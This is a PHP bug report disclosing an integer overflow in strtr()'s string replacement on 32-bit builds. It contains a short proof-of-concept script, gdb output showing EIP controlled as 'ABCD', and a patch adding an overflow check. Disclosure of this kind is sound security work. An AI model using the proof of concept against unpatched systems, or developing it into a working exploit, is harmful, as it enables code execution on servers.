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[2016-01-26 00:22 UTC] yeongjin dot jang at gatech dot edu
Description:
------------
This is a different bug with #71449.
An integer overflow vulnerability exists in PHP-7.1.0
due to missing check of size before calling
zend_string_alloc() in ext/standard/string.c:3234.
Code:
new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);
All variables including str_len, needle_len, count, haystack are fully controllable.
The overflow results as arbitrary code execution,
as running of test script alter %eip to the arbitrary values.
This bug is only triggered in 32bit machine.
Test script:
---------------
<?php
$a = str_repeat('A', 65536);
$b = str_repeat('ABCD', 32768);
// Changing 'ABCD' into other value alters %eip to arbitrary value.
$c = array('AA'=> $b);
strtr($a , $c);
?>
Expected result:
----------------
Correct execution of strtr() function.
Actual result:
--------------
[blue9057@ubuntu ~/exploit/php$] gdb `which php`
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/local/bin/php...done.
(gdb) r strtr.php
Starting program: /usr/local/bin/php strtr.php
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xb7a75000 -1213771776
edx 0xb7a130f0 -1214172944
ebx 0x1 1
esp 0xbfffc01c 0xbfffc01c
ebp 0xbfffc0b4 0xbfffc0b4
esi 0xb7a13020 -1214173152
edi 0xb7a741c0 -1213775424
eip 0x44434241 0x44434241
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) r -v
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/bin/php -v
PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[Inferior 1 (process 4169) exited normally]
EIP is controlled as 0x44434241, from the input "ABCD".
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
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Last updated: Thu Nov 21 11:01:29 2024 UTC |
Not sure the patch is attached or not. diff --git a/ext/standard/string.c b/ext/standard/string.c index 0229146..a4c26a7 100644 --- a/ext/standard/string.c +++ b/ext/standard/string.c @@ -3231,6 +3231,11 @@ static zend_string *php_str_to_str_ex(zend_string *haystack, /* Needle doesn't occur, shortcircuit the actual replacement. */ goto nothing_todo; } + if( count >= (ZEND_SIZE_MAX - ZSTR_LEN(haystack)) / (str_len - needle_len) ) + { + php_error_docref(NULL, E_WARNING, "Integer overflow has occurred"); + RETURN_EMPTY_STRING(); + } new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0); e = s = ZSTR_VAL(new_str);